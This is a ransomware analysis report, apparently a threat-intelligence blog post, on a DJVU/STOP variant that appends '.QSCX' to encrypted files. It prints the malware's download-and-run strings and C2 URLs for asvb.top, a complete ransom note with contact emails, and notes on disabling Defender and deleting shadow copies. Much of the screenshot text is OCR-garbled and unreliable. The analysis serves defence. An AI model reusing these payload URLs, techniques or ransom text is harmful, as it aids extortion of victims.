# DJVU Malware of STOP Ransomware Family Back with New Variant

Sybleinc.com/2021/06/21/djvu-malware-of-stop-ransomware-family-back-with-new-variant/

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In the course of our routine darkweb monitoring, the Cyble research team discovered a new variant of the DJVU malware that belongs to the STOP ransomware family. This new variant has become one of the most widespread file-encrypting viruses of 2021.

DJVU was first identified in December 2018. In addition to attacks in the United States, most of its victims are from Europe, Asia, South American, and Africa. The DJVU malware uses Advanced Encryption Standard (AES) or RSA cryptography algorithms for encrypting files in the victim machine.

The Cyble research team found a sample of the DJVU malware and performed the technical analysis. We have identified that the malware enters the systems of users when they download and execute malicious files masquerading as software cracks or keygens that allow users to use paid software for free by downloading from torrent.

### **Technical analysis**

The payload which we have picked for analysis has a hash value of c6c76994fa516093b3bb1250efa5e5427ff5e7f9aea044692f2b080b0084d21c

The text section of the malware sample has a high entropy value, indicating that it is packed/encrypted. The malware has been developed using the C/C++ language, and its static information is shown in figure 1.

File name       MidWorkstation/Desktop/5251949506887680/c6c76994fa516093b3bb1250efa5e5427ff5e7f9aea044692f2b080b0084d21c.exe          File type       Entry point       Base address       MIME         PE32       00402020       Disasm       004000000       Memory map         PE       Export       Import       Resources       JNET       TLS       Overlay       Strings         Sections       TimeDateStamp       SizeOfImage       Resources       Entropy       Entropy         0005       2019-12-21 04:42:07       00898000       Manifest       Version       Hex         Scan       Endiarness       Mode       Architecture       Type       Type         Detect It Easy(DE)       LE       32       1386       GUI       Options         Iinker       Microsoft Visual C/C++(2010)[libcmtd,wWinMain]       S       ?       ?       Options         Signatures       Deep scan       About         About	Detect It Easy v3.01	1			-	o x
File type       Entry point       Base address       MIME         PE32       00402020       Disasm       00400000       Memory map       Hash         PE       Export       Import       Resources       NET       T.S       Overlay       Strings         Sections       TmeDateStamp       SizeOftmage       Resources       Entropy       Entropy         0005       2019-12-21 04:42:07       00898000       Manifest       Version       Hex         Scan       Endamness       Mode       Architecture       Type       Type         Detect It Easy(DE)       *       LE       32       I386       GUI         Compiler       Microsoft Visual C/C++ (2010)[libcmtd,wWinMain]       S       ?       Options         linker       Microsoft Linker(10.0)[GUI32]       S       ?       Options         Signatures       Deep scan       About       Detext       Detext       Detext	File name faiWorkstation/Desktop	/5251949506887680/c6c76994fa51	16093b3bb1250efa5e	5427ff5e7f9aea044692f2b08	0b0084d21c.exe	
PE32       00402020       Disasm       00400000       Memory map       Hash         PE       Export       Import       Resources       NET       TLS       Overlay       Strings         Sections       TimeDateStamp       SizeOfImage       Resources       Entropy       Entropy         0005       2019-12-21 04:42:07       00898000       Manfest       Version       Hex         Scan       Endanness       Mode       Architecture       Type       Type         Detect It Easy(DE)       LE       32       1386       Gut       Gut         compiler       Microsoft Visual C/C++(2010)[libcmtd,wWinMain]       S       S       ?         linker       Microsoft Linker(10.0)[GUI32]       S       ?       Options         Signatures       Deep scan       About       Detext	File type	Entry point		Base address		MIME
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Sections       TimeDateStamp       SizeOfImage       Resources       Entropy         0005       2019-12-21 04:42:07       00898000       Manfest       Version       Hex         Scan       Endianness       Mode       Architecture       Type         Detect It Easy(DE)       *       LE       32       I386       GUI         compiler       Microsoft Visual C/C++ (2010)[libcmtd,wWinMain]       S       S       ?         linker       Microsoft Linker(10.0)[GUI32]       S       ?       Options         Signatures       Deep scan       About       About	PE	Export Import	Resources	.NET TLS	Overlay	Strings
Scan       Endianness       Mode       Architecture       Type         Detect It Easy(DE)       *       LE       32       1386       GUI         compiler       Microsoft Visual C/C++(2010)[libcmtd,wWinMain]       S       S       Inker       S       ?         linker       Microsoft Linker(10.0)[GUI32]       S       ?       Options       Signatures       About	Sections	TimeDateStamp 2019-12-21 04:42:07	SizeOfImage 00898000	Resources Manifest	Version	Entropy
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linker     Microsoft Linker(10.0)[GUI32]     S ?       Options       Signatures     Deep scan	compiler	Microsoft Visual C/O	C++(2010)[libcmtd,v	wWinMain]	S	
Options           Signatures         Deep scan	linker	Microsoft	t Linker(10.0)[GUI32]			
Signatures Deep scan About						Options
100% > Log 167 msec Scan Exit	Signatures	100%		Deep scan	Scan	About Exit

Figure 1 Static Information of the Sample

The screenshot below showcases a schematic representation of the processes (Process Tree) of the malware.

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III c6c760948a516093b3b3b1250efa5e542785e73aea0440325b000b0084d21c.exe (4032)		C1Users/Malifior		DESKTOP-RR1AB77-Ma/Workstation	*C.\Usen\MaWo 15-06-2021.04.15 15-06-2021.04.15
III III ofic 70394845740308.3001250e4a5e542785e73eea04460322b.00084021c.exe (5003)		C1Uses/Mallior		DESKTOP-RR14877-MaWoAstation	"C. \Users\MaWo 15-06-2021 04:15 15-06-2021 04:15
🔟 (cads ever (2524)		C:\Windows\Sys	Moreadt Corporation	DESKTOP-RR14877-MaWokatation	icada "C.\Ubers\ 15-06-2021 04:15 15-06-2021 04:15
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wpdatewin1 eve (506)		C10ees/Malifior		DESKTOP-RR14877-MaWeAstation	"C:\Uses\MaWo 15-06-2021 04:15 15-06-2021 04:16
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w vpdatevin.eve (7040)		Childen Mallion		DESKTOP-RR1A877-MaWeikatation	"C:\Usen\MaWe 1546-2021 04:15 1546-2021 04:16
Conhost.awe (7043)	Console Window	C:/Windows/Syst	Monwell Corporation	DESKTOP-RR1A877-MaWeikatation	\7PiC:\Windows\ 15/06/2021 04:15 15/06/2021 04:16
3 are (6272)		CNUsers'Malifior		DESKTOP-RR1A877-MaWerkatation	"C:\Usen\MaWo 15:06:2021.04:15 15:06:2021.04:16
Conhost.exe (522)	Console Window	C:/Windows/Syst	Mcrosoft Corporation	DESKTOP-RR1A877-MaWorkstation	\7PiC.\Windows\ 15/06/2021 04:15 15/06/2021 04:16
(a) 10 4 mer (\$116)		C1Users/Malifior		DESKTOP-RR1A877-MaWorkstation	"C:\Usen\MaWo 15:06:2021.04:15 15:06:2021.04:16
Conhost ave (3054)	Console Window	C:/Windows/Syst	Mcrosoft Corporation	DESKTOP-RR1A877-MaWorkstation	\7PiC:\Windows\ 15/06/2021 04:15 15/06/2021 04:16
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Figure 2 Output of the Malware Process Tree

The screenshot below shows the API list, along with the anti-debugging APIs.

Functions window		ø ×		6	IDA View-A	(	3	Ø	Hex View-1		A	Structures		Ħ
Function name		~	Ad	dress		Ordinal	1	Name				Library		
7 sub.401000				00484160	)			HeapSetInfo	rmation			KERINEL	12	
7 sub_401020				00484164				GetStartupIn	Wohr			KERNEL	12	
7 sub.401060				00484168	8			EncodePoint	ter			KERNEL	12	
7 sub 401080				00484164	c			DecodePoint	ter			KERNEL	12	
7 sub 4010F0				00484170	)			nitializeCriti	icalSectionAndSpi	nCount		KERNEL:	12	
7 sub.401190				00484174	1			GetFileType				KERINEL	12	
7 sub_401240				00484171	8		1	WideCharTo	MultiByte			KERNEL	12	
7 sub.4012E0				00484170	-			GetConsole(	CP			KERNEL	12	
7 sub_401360				00484180	0			GetConsole	Mode			KERNEL	12	
7 sub_4013A0				00484184	4		1	TerminatePri	ocess			KERINEL	12	
7 sub_401380				00484188	8			GetCurrentP	rocess			KERNEL	12	
7 sub_401420				00484180	C			UnhandledE	xceptionFilter			KERNEL	12	
7 sub_401450				00484190	)		- 5	SetUnhandle	edExceptionFilter			KERNEL	12	
7 sub_401470			50	00484194	1			sDebuggerP	Present			KERNEL	12	
F std:_Init_locks:_Init_locks(void)				00484190	8			HeapValidate	e			KERINEL	12	
✓ std:_Init_locks:~_Init_locks(void)				00484190			1	sBadReadPt	tr			KERNEL	12	
7 std:_Lockit:_Lockit(int)				004841A	0			GetACP				KERNEL:	12	
F std:_Lockit:~_Lockit(void)				004841A	4			GetOEMCP				KERNEL	12	
7_Mtxinit				004841A	8			GetCPInfo				KERNEL	12	
_Mtxdst			<b>S</b> 1	004841A	с			sValidCode	Page			KERNEL	12	
				004841B	)			TIsAlloc				KERNEL.	12	
📝 sub_401620				004841B	4		1	TIsSetValue				KERNEL:	12	
7 perror			<b>S</b> 1	004841B	8		(	GetCurrentT	hreadid			KERNEL	12	
get_sys_err_msg			<b>C</b> 11	004841B	C			<b>TisFree</b>				KERNEL	12	
7 sub_401780			20	004841C	0		1	SetLastError				KERNEL	12	
✓ std:exception:exception(char const * const &)			21	004841C	4		1	RaiseExcepti	ion			KERNEL	12	
the avantion avantion/char coust * coust & int)				004841C	8		(	QueryPerfor	manceCounter			KERINEL	12	
	_	-		0048410	c			GetTickCour	nt			KERNEL	2	

Figure 3 Windows API List Used in the Malware

The malware payload uses customized AES or RSA encryption

algorithms for encrypting files and adding various extensions. In most cases, the infection by the DJVU ransomware can be instantly identified by victims because the files are added with an extension that specifies the name of the virus. The image below clearly shows that in the case of the malware sample we analysed, after encryption the files are appended with the extension ".QSCX".

sample.bin.zip qscx	6/14/2021 7:56 PM	QSCX File
winrar-x64-601.exe.qscx	6/14/2021 7:56 PM	QSCX File
7z1900-x64.exe.qscx	6/14/2021 7:56 PM	QSCX File
010EditorWin64Installer11.0.1.exe.qscx	6/14/2021 7:56 PM	QSCX File
027119161d11ba87acc908a1d284b93a6b	6/14/2021 7:56 PM	QSCX File
bintext303.zip.qscx	6/14/2021 7:56 PM	QSCX File
c04433797667c205da21d0b783bdbbbd6	6/14/2021 7:56 PM	QSCX File
c04433797667c205da21d0b783bdbbbd6	6/14/2021 7:56 PM	QSCX File
ChromeSetup.exe.qscx	6/14/2021 7:56 PM	QSCX File
hex_setup26.exe.qscx	6/14/2021 7:56 PM	QSCX File
jadx-gui-1.2.0-with-jre-win.zip.qscx	6/14/2021 7:56 PM	QSCX File
pestudio.zip.qscx	6/14/2021 7:56 PM	QSCX File
sample.bin.qscx	6/14/2021 7:56 PM	QSCX File
bintext303	6/14/2021 7:56 PM	Filefolder
pestudio	6/14/2021 7:56 PM	File folder

Figure 4 Encrypted Files in the Victim Machine

## **Command & Control Communication**

Once the malware enters the victim machine, it performs an infection sequence in several steps. These involve modifying the system files, changing Windows registry entries, and deleting shadow volume copies to avoid file recovery. Next, the parent

executable gets installed into the LocalAppData[5] and then downloads several child files: updatewin1.exe, updatewin2.exe, and 1.exe.

The image below showcases the process in which the malware tries to download and execute malicious payload files.

http://asvb.top/files/penelop/updatewin1.exe\$run\_http://asvb.top/files/penelop/updatewin2.exe\$run\_http://asvb.top/files/penelop Figure 5 Payload Delivery and Execution

The image below shows the ransomware trying to download multiple stagers from various URLs.



Figure 6 Malware Downloading Stagers from Various URLs

Payload download URL: "hxxp://asvb.top/files/penelop/updatewin2[.]exe"

Here are the evasion techniques used by the malicious dropped files.

- Using a PowerShell script, the malware disables the functionalities of the Windows Defender Anti-virus, such as real-time protection.
- The malware also prevents users from requesting security assistance from various security provider websites by changing the victim's Windows host files.

Once the encryption process is complete, the malware calls the C2 server with the unique ID based on the victims' MAC address. As showcased in the image below, the C2 server then responds by providing a personal ID. The malware then generates a scheduled task called the Time Trigger Task that regularly encrypts newly added files.

9+0000000	0 - 0x00001317 ( 0x000x0 - 0	90)										
	Offset *	Size Type							50-1	*		
N/36	000%e578		input In nullptr && output In nullptr									
8817	000%s5c4		bowsakisdestu.tot									
8050	000%e5e0		Ra4577dc-de35-4eb5-b48a-8a3eeeb0cd95									
8019	000%+608											
8860	000%e65c		Systelper			- 1 - 1						
8841	000Ke670	0000000 U	C/SystemiD			1 C (3)						
8862	000%e688	00000001a U	C/System/D/PersonalID.tot		•	Home 5	hare View					~ 💿
8912	000%e648			÷	-	- • 🗖	Local Disk (C) > 5	(uteniD)				
8864	000fe6e8		Error encrypting message %4									
8065	000fe710	000000015 U	Microsoft Enhanced RSA and AES Cryptographic Provider		*	avourites			Name		Oute modified	Type
8004	000#e77c	000000°% U	Microsoft Internet Explorer		n 🖓	inis .			PersonalDity		15-06-2021 05-07	Text Decu
8867	000%764	00000018-0	https://api.2p.ua/geo.json			Nictures			_			
8060.000	000%e7ec	00000015 A	"country ends"r*									p
8865	000Mell2c	COULD I Perso	onallD.txt - Notepad									
8870	0004654	File Edit	it Format View Help									
80723	000%eE7c	100106	rbjXlx3TNdvKi8jYphw1e3fZy1dzTnE8t1									
6672	0004-290	00000										
88.12	0004666	00000										
1074	000Million											
8072	00046104	00000										
	00044900	00000										
	00044570	00000										
	00044514	00000										
	0004034											

Figure 7 Personal ID of the Victim Machine Generated by the C2 Server

The following Wireshark image depicts the post-infection communication between the victim machine and the C2 server.

l tcp	stream eq 3						
No.	Time	Source	Destination	Protocol	Length Info		
r 1	18 134.085616540	192.168.199.132	192.168.199.131	TCP	66 7349 80 [SYN] Seg=0 Win=65535 Len=0 MSS=1460 WS=256 SACK PERM=1		
	19 134.085628335 20 134.085970669 21 134.085970647 22 134.08597047 22 134.08597047 23 134.100431846 24 134.100470610 25 134.100480337 25 134.101226060 25 134.10126060 27 134.501667476 28 134.502833014	192.168.199.131 192.168.199.132 192.168.199.132 192.168.199.131 192.168.199.131 192.168.199.131 192.168.199.131 192.168.199.131 192.168.199.132 192.168.199.132 192.168.199.131	192.168.199.131 192.168.199.131 192.168.199.331 192.168.199.331 192.168.199.332 192.168.199.331 192.168.199.331 192.168.199.331 192.168.199.331 192.268.199.331 192.268.199.331	TCP TCP HTTP TCP TCP TCP TCP TCP TCP	66         89         7349         SWN, ACX  Sequid Ack:1 Winned2200 Lenn0 MSS=1460 SACK_PERM:1 WS=128           60         7149         > 80         42X1 Sequid Ack:1 Winned2200 Lenn0         MSS=1460 SACK_PERM:1 WS=128           186         627         7149         > 80         42X1 Sequid Ack:1		
- 1	29 134.103281480	192.168.199.132	192.168.199.131	TCP	ou /143 → BB [ACK] Sed=114 ACK=410 MIN=201032 Len=0		
				Wireshark	- Follow TCP Stream (tcp.stream eq 3) - ens37 -	0	×
GET User Host	/nddddhsspenE/ge -Agent: Microsof : asvb.top	t.php?pid=6D72AE0554 t Internet Explorer	86CD5FF0A498383415842	E HTTP/1.	1		
HTTP Serv Conn Cont Cont Date	/1.1 200 OK er: INetSim HTTP ection: Close ent-Type: text/h ent-Length: 258 : Tue, 15 Jun 20	Server tml 21 03:18:27 GMT					
<htm <h </h </htm 	<pre>chtml&gt;</pre>						

Figure 8 Communication Traffic Between the Malware and the C2 Server

The image below illustrates the domain name with which the malware tries to communicate.

fakedns[INF0]:	dom.query	. 60 IN A 192.168.199.131
fakedns[INF0]:	Response:	slscr.update.microsoft.com -> 192.168.199.131
fakedns[INF0]:	Response:	ctldl.windowsupdate.com -> 192.168.199.131
fakedns[INF0]:	Response:	fe3cr.delivery.mp.microsoft.com -> 192.168.199.131
fakedns[INF0]:	Response:	fe3cr.delivery.mp.microsoft.com -> 192.168.199.131
fakedns[INF0]:	Response:	7.c.8.f.7.b.5.6.8.8.f.f.e.8.5.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.e.f.ip6.arpa -> 192.168.199.131
fakedns[INF0]:	Response:	2.0.0.0.1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.
fakedns[INFO]:	Response:	131.199.168.192.in-addr.arpa -> 192.168.199.131
fakedns[INF0]:	Response:	wj32.org -> 192.168.199.131
fakedns[INF0]:	Response:	ctldl.windowsupdate.com -> 192.168.199.131
fakedns[INFO]:	Response:	processhacker.sourceforge.net> 192.168.199.131
fakedns[INF0]:	Response:	api.2ip.ua -> 192.168.199.131
fakedns[INFO]:	Response:	asvb.top -> 192.168.199.131
fakedns[INFO]:	Response:	255.199.168.192.in-addr.arpa -> 192.168.199.131
fakedns[INF0]:	Response:	255.255.254.169.in-addr.arpa -> 192.168.199.131
fakedns[INF0]:	Response:	199.248.254.169.in-addr.arpa -> 192.168.199.131
fakedns[INF0]:	Response:	250.255.255.239.in-addr.arpa -> 192.168.199.131
fakedns[INF0]:	Response:	1.15.168.192.in-addr.arpa -> 192.168.199.131
fakedns[INFO]:	Response:	251.0.0.224.in-addr.arpa -> 192.168.199.131
fakedns[INF0]:	Response:	e.4.e.e.2.1.0.2.5.0.4.d.f.c.5.a.0.0.0.0.0.0.0.0.0.0.0.0.0.8.e.f.ip6.arpa -> 192.168.199.131
fakedns[INFO]:	Response:	b.f.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.
fakedns[INF0]:	Response:	api.2ip.ua -> 192.168.199.131
fakedns[INF0]:	Response:	ctldl.windowsupdate.com -> 192.168.199.131
fakedns[INFO]:	Response:	asvb.top -> 192.168.199.131
fakedns[INFO]:	Response:	maps.windows.com -> 192.168.199.131
C I I FROMAN		

Figure 9 Domain with which the Malware is Communicating

The image below showcases the public key hardcoded in the payload source code.

-----BEGIN PUBLIC KEY----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsFN( 1CWYcKrbjXlx3TNdvKiBjYphw1eJfZy1dzTnE8t1

Figure 10 Public Key Hardcoded Within the Malware

#### **Ransom Note**

The malware drops a ransom note named **\_readme.txt** in the C drive, asking for a ransom of \$980/\$490 in Bitcoins for the file recovery tool. The ransom note obtained from our technical analysis is shown in figure 11.

```
readme.txt - Notepad
File Edit Format View Help
ATTENTION!
Don't worry, you can return all your files!
All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.
The only method of recovering files is to purchase decrypt tool and unique key for you.
This software will decrypt all your encrypted files.
What guarantees you have?
You can send one of your encrypted file from your PC and we decrypt it for free.
But we can decrypt only 1 file for free. File must not contain valuable information.
You can get and look video overview decrypt tool:
https://we.tl/t-V2fE396VPW
Price of private key and decrypt software is $980.
Discount 50% available if you contact us first 72 hours, that's price for you is $490.
Please note that you'll never restore your data without payment.
Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.
To get this software you need write on our e-mail:
helpteam@mail.ch
Reserve e-mail address to contact us:
helpmanager@airmail.cc
Your personal ID:
0303ewgfDd1CWYcKrbjXlx3TNdvKiBjYphw1eJfZy1dzTnE8t1
```

Figure 11 Ransom Note

#### Security Recommendations:

Following are some of the security recommendations that may help avoid the attack from the DJVU ransomware variant when successfully implemented.

- Use the shared IoCs to monitor and block the malware infection.
- Turn on the automatic software update feature on your computer, mobile, and other connected devices wherever possible and pragmatic.
- Use a reputed anti-virus and Internet security software package on your connected devices, including PC, laptop, and mobile.
- Conducting regular backup practices and keeping backups offline or in separated networks.

#### MITRE ATT&CK® Techniques

Tactic	Technique ID	Technique Name
Defense Evasion	<u>T1027</u> <u>T1202</u> <u>T1562.001</u>	1. Obfuscated Files or Information 2. Indirect Command Execution 3. Impair Defences: Disable or Modify Tools
Initial access	<u>T1078</u>	1. Valid Accounts
Discovery	<u>T1120</u> <u>T1082</u>	1. Peripheral Device Discovery 2. System Information Discovery
Impact	<u>T1486</u> <u>T1490</u>	1. Data Encrypted for Impact 2. Inhibit System Recovery

#### Indicators of Compromise (IoCs):

#### SHA256

955d3a37079121cee3f5455349c3edebe843668dfe1a0bd20602d3a6e15b3c20

480558a688a4f9a32e95a98fbb5db32fb18ab77917a20b97c15052cda1e76658

92a8da9880227a443742464a076cbb19668149454b5ef986ff0fdc3c436af245

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URLs

hxxp://asvb.top/files/penelop/5.exe

hxxp://asvb.top/nddddhsspen6/get.php?pid=657CFB2A6AB1CE9ADA6298A3725A7C1E

hxxp://asvb.top/files/penelop/updatewin.exe

hxxp://asvb.top/nddddhsspen6/get.php? pid=76C22FD2EA11F0E9961EF5C6D4B2240F&first=true

hxxp://asvb.top/files/penelop/updatewin2.exe

hxxp://asvb.top/files/penelop/3.exe

hxxp://asvb.top/nddddhsspen6/get.php? pid=F7E0EF544C5C35BFCBAE00FDCB4667E1&first=true

hxxps://api.2ip.ua/geo.json

hxxp://asvb.top/files/penelop/updatewin1.exe

hxxps://api.2ip.ua:80/geo.json

hxxp://asvb.top/files/penelop/4.exe

#### About Cyble

Cyble is a global threat intelligence SaaS provider that helps enterprises protect themselves from cybercrimes and exposure in the darkweb. Cyble's prime focus is to provide organizations with real-time visibility into their digital risk footprint. Backed by Y Combinator as part of the 2021 winter cohort, Cyble has also been recognized by Forbes as one of the top 20 Best Cybersecurity Startups To Watch In 2020. Headquartered in Alpharetta, Georgia, and with offices in Australia, Singapore, and India, Cyble has a global presence. To learn more about Cyble, visit www.cyble.com.